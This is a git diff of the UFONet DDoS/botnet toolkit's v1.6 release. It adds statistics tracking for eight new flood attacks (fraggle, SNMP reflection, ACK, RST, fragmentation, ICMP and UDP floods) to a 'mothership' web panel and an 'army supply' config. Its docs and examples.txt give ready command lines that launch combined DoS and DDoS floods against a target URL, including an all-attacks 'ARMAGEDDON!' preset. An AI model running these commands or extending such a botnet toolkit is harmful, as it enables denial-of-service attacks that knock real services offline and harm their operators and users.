def get(self, request): mothership_monlist = mothership_monlist + grid_monlist except: grid_monlist = nodec_text + grid_fraggle = m[17] # fraggle + self.decrypt(grid_key, grid_fraggle) + if self.decryptedtext: + grid_fraggle = self.decryptedtext + else: + grid_fraggle = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_fraggle = int(grid_fraggle) + mothership_fraggle = mothership_fraggle + grid_fraggle + except: + grid_fraggle = nodec_text + grid_sniper = m[18] # sniper + self.decrypt(grid_key, grid_sniper) + if self.decryptedtext: + grid_sniper = self.decryptedtext + else: + grid_sniper = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_sniper = int(grid_sniper) + mothership_sniper = mothership_sniper + grid_sniper + except: + grid_sniper = nodec_text + grid_ufoack = m[19] # ufoack + self.decrypt(grid_key, grid_ufoack) + if self.decryptedtext: + grid_ufoack = self.decryptedtext + else: + grid_ufoack = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_ufoack = int(grid_ufoack) + mothership_ufoack = mothership_ufoack + grid_ufoack + except: + grid_ufoack = nodec_text + grid_uforst = m[20] # uforst + self.decrypt(grid_key, grid_uforst) + if self.decryptedtext: + grid_uforst = self.decryptedtext + else: + grid_uforst = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_uforst = int(grid_uforst) + mothership_uforst = mothership_uforst + grid_uforst + except: + grid_uforst = nodec_text + grid_droper = m[21] # droper + self.decrypt(grid_key, grid_droper) + if self.decryptedtext: + grid_droper = self.decryptedtext + else: + grid_droper = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_droper = int(grid_droper) + mothership_droper = mothership_droper + grid_droper + except: + grid_droper = nodec_text + grid_overlap = m[22] # overlap + self.decrypt(grid_key, grid_overlap) + if self.decryptedtext: + grid_overlap = self.decryptedtext + else: + grid_overlap = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_overlap = int(grid_overlap) + mothership_overlap = mothership_overlap + grid_overlap + except: + grid_overlap = nodec_text + grid_pinger = m[23] # pinger + self.decrypt(grid_key, grid_pinger) + if self.decryptedtext: + grid_pinger = self.decryptedtext + else: + grid_pinger = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_pinger = int(grid_pinger) + mothership_pinger = mothership_pinger + grid_pinger + except: + grid_pinger = nodec_text + grid_ufoudp = m[24] # ufoudp + self.decrypt(grid_key, grid_ufoudp) + if self.decryptedtext: + grid_ufoudp = self.decryptedtext + else: + grid_ufoudp = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_ufoudp = int(grid_ufoudp) + mothership_ufoudp = mothership_ufoudp + grid_ufoudp + except: + grid_ufoudp = nodec_text else: grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present self.decrypt(grid_key, grid_monlist) @@ -5981,25 +6747,121 @@ def get(self, request): mothership_monlist = mothership_monlist + grid_monlist except: grid_monlist = nodec_text - if version > 17: - grid_contact = m[17] # contact + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present + self.decrypt(grid_key, grid_fraggle) + if self.decryptedtext: + grid_fraggle = self.decryptedtext + else: + grid_fraggle = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_fraggle = int(grid_fraggle) + mothership_fraggle = mothership_fraggle + grid_fraggle + except: + grid_fraggle = nodec_text + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present + self.decrypt(grid_key, grid_sniper) + if self.decryptedtext: + grid_sniper = self.decryptedtext + else: + grid_sniper = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_sniper = int(grid_sniper) + mothership_sniper = mothership_sniper + grid_sniper + except: + grid_sniper = nodec_text + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present + self.decrypt(grid_key, grid_ufoack) + if self.decryptedtext: + grid_ufoack = self.decryptedtext + else: + grid_ufoack = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_ufoack = int(grid_ufoack) + mothership_ufoack = mothership_ufoack + grid_ufoack + except: + grid_ufoack = nodec_text + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present + self.decrypt(grid_key, grid_uforst) + if self.decryptedtext: + grid_uforst = self.decryptedtext + else: + grid_uforst = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_uforst = int(grid_uforst) + mothership_uforst = mothership_uforst + grid_uforst + except: + grid_uforst = nodec_text + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present + self.decrypt(grid_key, grid_droper) + if self.decryptedtext: + grid_droper = self.decryptedtext + else: + grid_droper = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_droper = int(grid_droper) + mothership_droper = mothership_droper + grid_droper + except: + grid_droper = nodec_text + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present + self.decrypt(grid_key, grid_overlap) + if self.decryptedtext: + grid_overlap = self.decryptedtext + else: + grid_overlap = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_overlap = int(grid_overlap) + mothership_overlap = mothership_overlap + grid_overlap + except: + grid_overlap = nodec_text + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present + self.decrypt(grid_key, grid_pinger) + if self.decryptedtext: + grid_pinger = self.decryptedtext + else: + grid_pinger = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_pinger = int(grid_pinger) + mothership_pinger = mothership_pinger + grid_pinger + except: + grid_pinger = nodec_text + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present + self.decrypt(grid_key, grid_ufoudp) + if self.decryptedtext: + grid_ufoudp = self.decryptedtext + else: + grid_ufoudp = nodec_text + self.decryptedtext = "" # clean decryptedtext buffer + try: # parse for int + grid_ufoudp = int(grid_ufoudp) + mothership_ufoudp = mothership_ufoudp + grid_ufoudp + except: + grid_ufoudp = nodec_text + if version == 26: + grid_contact = m[25] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer - if len(grid_contact) > 120 or len(grid_contact) < 3: # m[17] = grid_contact (>str3 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3View" # js contact view except: grid_contact = "View" # js error contact view try: - grid_id = m[18] # id + grid_id = m[26] # id except: grid_id = '6666666666666666666666666666666666666' # fake id elif version == 17: @@ -6141,14 +7003,14 @@ def get(self, request): grid_ranking = str(grid_ranking) if grid_ranking == nodec_text: # hide any data when user is encrypted grid_contact = "View" - grid_table += "" + grid_table += "" else: - grid_table += "" + grid_table += "" except: - grid_table += "" + grid_table += "" grid_table += "
NICK:RANK:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:SPRAY:SMURF:XMAS:NUKE:TACHYON:MONLIST:FRAGGLE:SNIPER:UFOACK:UFORST:DROPER:OVERLAP:PINGER:UFOUDP:CONTACT:
"+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(grid_contact)+"
"+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(nodec_text)+""+str(grid_contact)+"
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_spray)+""+str(grid_smurf)+""+str(grid_xmas)+""+str(grid_nuke)+""+str(grid_tachyon)+""+str(grid_monlist)+""+str(grid_contact)+"
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_spray)+""+str(grid_smurf)+""+str(grid_xmas)+""+str(grid_nuke)+""+str(grid_tachyon)+""+str(grid_monlist)+""+str(grid_fraggle)+""+str(grid_sniper)+""+str(grid_ufoack)+""+str(grid_uforst)+""+str(grid_droper)+""+str(grid_overlap)+""+str(grid_pinger)+""+str(grid_ufoudp)+""+str(grid_contact)+"
ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!
ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!ERROR!

" l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time - mother_table = "
MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"-"+str(unknown_members)+"*"+str(member_1)+"**"+str(member_2)+"***"+str(member_3)+"****"+str(member_4)+""+str(member_5)+"

MISSIONS:"+str(mothership_missions)+"ATTACKS:"+str(mothership_attacks)+"CHARGO (ACTIVE!):"+str(mothership_chargo)+"DORKING:"+str(mothership_dorking)+"TRANSF:"+str(mothership_transferred)+"MAX.CHARGO:"+str(mothership_maxchargo)+"

LOIC:"+str(mothership_loic)+"LORIS:"+str(mothership_loris)+"UFOSYN:"+str(mothership_ufosyn)+"SPRAY:"+str(mothership_spray)+"SMURF:"+str(mothership_smurf)+"
XMAS:"+str(mothership_xmas)+"NUKE:"+str(mothership_nuke)+"TACHYON:"+str(mothership_tachyon)+"MONLIST:"+str(mothership_monlist)+"



" + mother_table = "
MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"-"+str(unknown_members)+"*"+str(member_1)+"**"+str(member_2)+"***"+str(member_3)+"****"+str(member_4)+""+str(member_5)+"

MISSIONS:"+str(mothership_missions)+"ATTACKS:"+str(mothership_attacks)+"CHARGO (ACTIVE!):"+str(mothership_chargo)+"DORKING:"+str(mothership_dorking)+"TRANSF:"+str(mothership_transferred)+"MAX.CHARGO:"+str(mothership_maxchargo)+"

LOIC:"+str(mothership_loic)+"LORIS:"+str(mothership_loris)+"UFOSYN:"+str(mothership_ufosyn)+"SPRAY:"+str(mothership_spray)+"SMURF:"+str(mothership_smurf)+"
XMAS:"+str(mothership_xmas)+"NUKE:"+str(mothership_nuke)+"TACHYON:"+str(mothership_tachyon)+"MONLIST:"+str(mothership_monlist)+"
FRAGGLE:"+str(mothership_fraggle)+"SNIPER:"+str(mothership_sniper)+"UFOACK:"+str(mothership_ufoack)+"UFORST:"+str(mothership_uforst)+"
DROPER:"+str(mothership_droper)+"OVERLAP:"+str(mothership_overlap)+"PINGER:"+str(mothership_pinger)+"UFOUDP:"+str(mothership_ufoudp)+"



" f.write(mother_table) f.write(grid_table) f.write(end_mark) @@ -6180,7 +7042,7 @@ def get(self, request): else: # generate default global army supply configuration file print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]') with open(self.mothership_supplycfg_file, "w") as f: - json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4) + json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) self.supply_botnet = data["botnet"] @@ -6193,12 +7055,20 @@ def get(self, request): self.supply_nuke = data["nuke"] self.supply_tachyon = data["tachyon"] self.supply_monlist = data["monlist"] + self.supply_fraggle = data["fraggle"] + self.supply_sniper = data["sniper"] + self.supply_ufoack = data["ufoack"] + self.supply_uforst = data["uforst"] + self.supply_droper = data["droper"] + self.supply_overlap = data["overlap"] + self.supply_pinger = data["pinger"] + self.supply_ufoudp = data["ufoudp"] f = open(self.wargames_file,"r") ls = f.readlines() f.close() if ls: wargames_autopanel = "MASSIVE ACTION:



" - wargames_supply = "GLOBAL ARMY SUPPLY (rounds):

BOTNET ("+str(self.total_botnet)+"):LOIC:LORIS:UFOSYN:SPRAY:
SMURF:XMAS:NUKE:TACHYON:MONLIST:


" + wargames_supply = "GLOBAL ARMY SUPPLY (rounds):

BOTNET ("+str(self.total_botnet)+"):LOIC:LORIS:UFOSYN:SPRAY:FRAGGLE:SNIPER:UFOACK:UFORST:
SMURF:XMAS:NUKE:TACHYON:MONLIST:DROPER:OVERLAP:PINGER:UFOUDP:


" else: wargames_autopanel = "" wargames_supply = "" diff --git a/docs/LEEME.txt b/docs/LEEME.txt index 03d24a9..42d131f 100755 --- a/docs/LEEME.txt +++ b/docs/LEEME.txt @@ -346,45 +346,29 @@ Puedes probar tu lista de zombies "X-RPCs" lanzando: ./ufonet --test-rpc -Al mismo tiempo, puedes conectar LOIC (con soporte para proxy), para hacer un número determinado de peticiones -recursivas directamente sobre tu objetivo: - - ./ufonet -a http://target.com --loic 100 - -Puedes conectar LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web -se vuelva lento: - - ./ufonet -a http://target.com --loris 100 - -Y también puedes conectar UFOSYN (requiere acceso mediante 'root') para comenzar un poderoso ataque de inundación TCP/SYN: - - sudo python ufonet -a http://target.com --ufosyn 100 - -O hacer un ataque SPRAY ('root' requerido) para lanzar una Denegación de Servicio Distribuída y Reflejada (DrDoS): - - sudo python ufonet -a http://target.com --spray 100 - -Un ataque SMURF ('root' requerido) para enviar paquetes de 'Propagación' ICMP de manera distribuída: - - sudo python ufonet -a http://target.com --smurf 101 - -O un ataque XMAS ('root' requerido) que inundará tu objetivo con paquetes 'Árbol de Navidad': - - sudo python ufonet -a http://target.com --xmas 101 - -Un ataque STARVATION ('root' requerido) que tumbará tu objetivo en segundos, si éste no tiene un mínimo nivel de protección: - - sudo python ufonet -a http://target.com --nuke 10000 - -O un ataque TACHYON ('root' requerido) para realizar una amplificación distribuída del tráfico DNS: - - sudo python ufonet -a http://target.com --tachyon 1000 - -Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo: - - python ufonet -a http://target.com --loic 100 --loris 100 +############################### +# Ataques Extra +############################### - sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000 + - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon + - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software) + - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood + - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack + - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood + - SPRAY: https://en.wikipedia.org/wiki/DRDOS + - SMURF: https://en.wikipedia.org/wiki/Smurf_attack + - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet + - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack + - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/ + - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A + - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/ + - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A + - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood + - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/ + - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack + - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf + +Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo. ############################### # Actualizando @@ -456,6 +440,10 @@ más algunas "extra": # Timelog ############################### +-------------------------- +17.08.2020 : v.1.6 +-------------------------- + -------------------------- 08.06.2020 : v.1.5 -------------------------- diff --git a/docs/README.txt b/docs/README.txt index 4e7d815..361a156 100755 --- a/docs/README.txt +++ b/docs/README.txt @@ -341,46 +341,29 @@ You can test your list of 'XML-RPCs zombies' launching: ./ufonet --test-rpc -At same time, you can connect LOIC (with proxy support), to make a determinate number of recursive requests -directly to your target: - - ./ufonet -a http://target.com --loic 100 - -You can connect LORIS to make requests leave open threads on the target too, making the web server -work slower: - - ./ufonet -a http://target.com --loris 100 - -And you can connect UFOSYN (it requires 'root' access) to start a powerful TCP/SYN flood attack: - - sudo python ufonet -a http://target.com --ufosyn 100 - -Or make a SPRAY ('root' required) attack to launch a Distributed 'Reflection' Denial of Service (DrDoS): - - sudo python ufonet -a http://target.com --spray 100 - -A SMURF ('root' required) attack to send Distributed ICMP 'Broadcast' packets: - - sudo python ufonet -a http://target.com --smurf 101 - -Or a XMAS ('root' required) attack that will flood your target with 'Christmas Tree' packets - - sudo python ufonet -a http://target.com --xmas 101 - -A STARVATION attack ('root' required) that will knock down your target in seconds, if it does not have a -minimum level of protection: - - sudo python ufonet -a http://target.com --nuke 10000 - -Or a TACHYON ('root' required) attack to perform a distributed amplification of DNS traffic: - - sudo python ufonet -a http://target.com --tachyon 1000 - -All ways could be combined, so UFONet can attack DDoS and DoS, at the same time: - - python ufonet -a http://target.com --loic 100 --loris 100 +############################### +# Extra attacks +############################### - sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000 + - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon + - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software) + - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood + - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack + - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood + - SPRAY: https://en.wikipedia.org/wiki/DRDOS + - SMURF: https://en.wikipedia.org/wiki/Smurf_attack + - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet + - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack + - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/ + - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A + - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/ + - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A + - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood + - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/ + - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack + - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf + +All ways could be combined, so UFONet can attack DDoS and DoS, at the same time. ############################### # Updating @@ -451,6 +434,10 @@ This will open a tab on your default browser with all features of the tool and s # Timelog ############################### +-------------------------- +17.08.2020 : v.1.6 +-------------------------- + -------------------------- 08.06.2020 : v.1.5 -------------------------- diff --git a/docs/VERSION b/docs/VERSION index 60f7f71..fcdd527 100755 --- a/docs/VERSION +++ b/docs/VERSION @@ -15,4 +15,5 @@ Date Size Version Alias 2018-12-31 966.9Kb 1.2 Armageddon! 2019-03-07 1.0Mb 1.3 SingularitY! 2020-02-01 25.0Mb 1.4 T!M3-WaRS -2020-06-08 27.2Mb 1.5 MuLTi.V3rSe! +2020-06-08 27.2Mb 1.5 MuLTi.V3rSe! +2020-08-17 27.4Mb 1.6 M4RAuD3R! diff --git a/docs/examples.txt b/docs/examples.txt index 45796c7..48925c6 100755 --- a/docs/examples.txt +++ b/docs/examples.txt @@ -47,31 +47,31 @@ +_PALANTIR-3.14 (non-root): ---------------------------------------------- - ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000" + ufonet -a "http://target.com" -r "100" --threads "100" --loic "1000" --loris "1000" ---------------------------------------------- +_SOCKING_WAVES (instant-knockout!) (as root): ---------------------------------------------- - ufonet -a "http://target.com" -r "100" --nuke "10000" + ufonet -a "http://target.com" -r "100" --threads "100" --nuke "10000" ---------------------------------------------- +_XCOM-1 (only DDoS) (as root): ---------------------------------------------- - ufonet -a "http://target.com" -r "100" --spray "1000" --smurf "1000" --tachyon "1000" --monlist "1000" + ufonet -a "http://target.com" -r "100" --threads "100" --spray "1000" --smurf "1000" --tachyon "1000" --monlist "1000" --fraggle "1000" --sniper "1000" ---------------------------------------------- +_XCOM-2 (only DoS) (as root): ---------------------------------------------- - ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --xmas "1000" --nuke "1000" + ufonet -a "http://target.com" -r "100" --threads "100" --loic "1000" --loris "1000" --ufosyn "1000" --xmas "1000" --nuke "1000" --ufoack "1000" --uforst "1000" --droper "1000" --overlap "1000" --pinger "1000" --ufoudp "1000" ---------------------------------------------- +_ARMAGEDDON! (with ALL!) (as root): ---------------------------------------------- - ufonet -a http://target.com -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --spray "1000" --smurf "1000" --xmas "1000" --nuke "1000" --tachyon "1000" --monlist "1000" --threads "100" + ufonet -a http://target.com -r "100" --threads "100" --loic "1000" --loris "1000" --ufosyn "1000" --spray "1000" --smurf "1000" --xmas "1000" --nuke "1000" --tachyon "1000" --monlist "1000" --fraggle "1000" --sniper "1000" --ufoack "1000" --uforst "1000" --droper "1000" --overlap "1000" --pinger "1000" --ufoudp "1000" ----------------------------------------------------------------------------- +_UFONET_EXAMPLES (online): diff --git a/docs/release.date b/docs/release.date index a5f18e8..3f5216e 100755 --- a/docs/release.date +++ b/docs/release.date @@ -1 +1 @@ -Mon Jun 8 12:00:02 2020 +Mon Aug 17 22:00:02 2020 diff --git a/setup.py b/setup.py index e0ef3a2..341c8fb 100755 --- a/setup.py +++ b/setup.py @@ -18,7 +18,7 @@ setup( name='ufonet', - version='1.5', + version='1.6', license='GPLv3', author_email='epsylon@riseup.net', author='psy',